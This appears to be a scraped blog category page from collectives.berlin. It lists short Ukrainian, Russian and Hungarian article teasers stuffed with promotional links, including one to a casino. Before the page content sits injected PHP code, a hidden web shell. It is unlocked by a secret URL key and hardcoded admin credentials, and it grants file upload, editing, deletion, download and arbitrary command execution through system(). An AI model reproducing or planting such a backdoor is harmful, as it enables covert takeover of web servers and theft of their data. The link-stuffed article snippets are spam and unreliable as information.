if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 7 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Что писать в первом сообщении: примеры, которые работают

    Первое сообщение в онлайн-общении, https://mriyalove.com.ua/ будь то в социальных сетях, на сайтах знакомств или в мессенджерах, играет ключевую роль в установлении контакта. Оно может как заинтересовать собеседника, так и оттолкнуть его. Поэтому важно знать, что писать в первом сообщении, чтобы увеличить шансы на успешное продолжение общения. В этой статье мы рассмотрим несколько эффективных примеров и…

    Click or not…

  • Maximális kifizetés bónuszból

    A bónuszok világa a szerencsejáték-iparban rendkívül izgalmas és változatos. A maximális kifizetés bónuszból egy olyan fogalom, amely a játékosok számára különösen fontos, mivel ez határozza meg, https://celsius-kaszino.com/bonus/ hogy mennyit nyerhetnek egy adott bónusz felhasználásával. A bónuszok különböző formákban jelennek meg, beleértve a regisztrációs bónuszokat, a befizetési bónuszokat, a hűségprogramokat és a promóciós ajánlatokat. Ezen bónuszok…

    Click or not…

  • Як правильно доглядати за нігтями

    Догляд за нігтями є важливою складовою загального догляду за тілом. Гарні, здорові нігті не тільки підкреслюють естетичний вигляд рук, https://nailsforyou.com.ua/ але й свідчать про загальний стан здоров’я. У цій статті ми розглянемо основні аспекти догляду за нігтями, які допоможуть зберегти їх у відмінному стані. 1. Основи догляду за нігтями Догляд за нігтями починається з основ.…

    Click or not…

  • Леонід Кравчук і його вплив на українську автономію

    Необхідно ретельно вивчити внесок однієї з ключових постатей в політичному житті країни у формуванні відносин між регіонами та центральною владою. Цей діяч вніс істотний вплив на розвиток управлінських структур та концепцій автономії, https://driver.in.ua/ проявляючи готовність до діалогу з різними соціальними групами. Фокусуючись на важливих етапах його кар’єри, слід відзначити, що зусилля характерні для умов, в…

    Click or not…

  • Смарт-годинники 2026 року які можуть позмагатись з Apple Watch

    Орієнтуйтеся на пристрої, які пропонують інноваційні функції моніторингу здоров’я. Моделі, що з’являться на прилавках, in.ua обіцяють безперервний контроль серцевого ритму, аналіз сну та навіть гальмування емоційного стресу. Ваша увага має зосередитися на виробах, що використовують передову технологію для збору даних про фізичний стан користувача. Розглядайте альтернативи, які забезпечать потужну автономність. Нові гаджети, оснащені енергоефективними процесорами,…

    Click or not…

  • Капсульний гардероб для сучасних жінок як основа стилю

    Почніть зі складання базового набору речей, які легко комбінуються між собою. Наприклад, https://karolinka.com.ua три основні кольори: чорний, білий і бежевий можуть стати основою для вашого життя. Додайте кілька акцентних елементів: яскраву блузу або цікаві аксесуари, щоб уникнути одноманітності. Пам’ятайте про функціональність кожного предмета. Вибирайте речі, які підходять до різних ситуацій: офісу, виходу на вечерю, спортзалу…

    Click or not…

  • Вплив кеш-пам’яті на продуктивність сучасних процесорів

    Рекомендується використовувати багаторівневу архітектуру кешу. Найчастіше, дво- або трирівневий кеш може значно покращити швидкість доступу до даних. Окрім того, https://itcent.com.ua/ розміри кешу повинні відповідати специфіці оброблюваних задач: баланс між швидкістю та обсягом є запорукою оптимальної роботи. Чим більший обсяг кешу, тим більше даних може бути збережено для швидкого доступу. Наприклад, сучасні процесори часто мають L1,…

    Click or not…

  • Штучний інтелект у смартфонах нові можливості для користувачів

    Для покращення вашого досвіду використання мобільного пристрою варто звернути увагу на функціональність можливостей машинного навчання. Зокрема, адаптивні системи фотозйомки, digital-world.com.ua що автоматично налаштовують параметри камери в залежності від умов освітлення, не лише спрощують процес фотографування, але й забезпечують вражаючі результати. Крім того, віртуальні помічники, які постійно вдосконалюються, здатні розпізнавати голосові команди та автоматизувати повсякденні завдання.…

    Click or not…

  • Як правильно обрати спорядження для комфортних мандрів

    Важливо визначити, які саме предмети будуть найбільш корисними в конкретних умовах. Однією з головних рекомендацій є звертання уваги на матеріали, з яких виготовлений одяг і аксесуари. Наприклад, ostrovturista.com.ua синтетичні волокна ефективно відводять вологу, що особливо важливо під час фізичних навантажень. Крім того, не менш значущим є вибір взуття. Найкраще обирати моделі з хорошою амортизацією та…

    Click or not…

  • Огляд найкращих ноутбуків для навчання та продуктивної роботи

    Вибираючи пристрій для навчання та професійної діяльності, зверніть увагу на моделі з продуктивними процесорами, такими як Intel Core i5 або AMD Ryzen 5. Вони забезпечать швидку обробку інформації та плавну роботу програм. Рекомендується не економити на обсязі оперативної пам’яті: 8 ГБ – це мінімум, b-mobile.com.ua а 16 ГБ дозволить виконувати кілька задач одночасно без затримок.…

    Click or not…